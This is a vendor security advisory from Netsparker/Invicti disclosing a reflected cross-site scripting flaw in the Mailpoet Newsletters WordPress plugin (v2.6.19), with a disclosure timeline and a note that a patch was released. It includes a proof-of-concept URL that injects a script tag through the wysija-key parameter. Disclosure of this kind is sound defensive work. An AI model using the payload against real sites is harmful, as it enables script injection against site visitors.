Cross-site Scripting Vulnerability Identified in Mailpoet Newsletters WordPress Plugin
Information
Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in Mailpoet Newsletters WordPress plugin
Affected Software: Mailpoet Newsletters
Affected Versions: v2.6.19 and possibly below
Vendor Homepage: http://www.mailpoet.com/
Vulnerability Type: Cross-site Scripting
Severity: Important
CVE-ID: TBA
Status: Fixed
Invicti Advisory Reference: NS-16-002
Technical Details
Proof of Concept URL for XSS in Mailpoet Newsletters v2.6.19:
wordpress-4.4.1/?wysija-page=1&controller=confirm&wysija-key='"--></style></scRipt><scRipt>alert(0x0034B4)</scRipt>&action=unsubscribe&demo=1&wysijap=subscriptionsFor more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).
Advisory Timeline
18 Jan 2016 – First Contact
29 Jan 2016 – Vendor Fixed
02 Feb 2016 – Advisory Released
Solution
Patch released by MailPoet and announced here: https://wordpress.org/plugins/wysija-newsletters/changelog/. Download the latest version.
Credits & Authors
These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.
About Invicti
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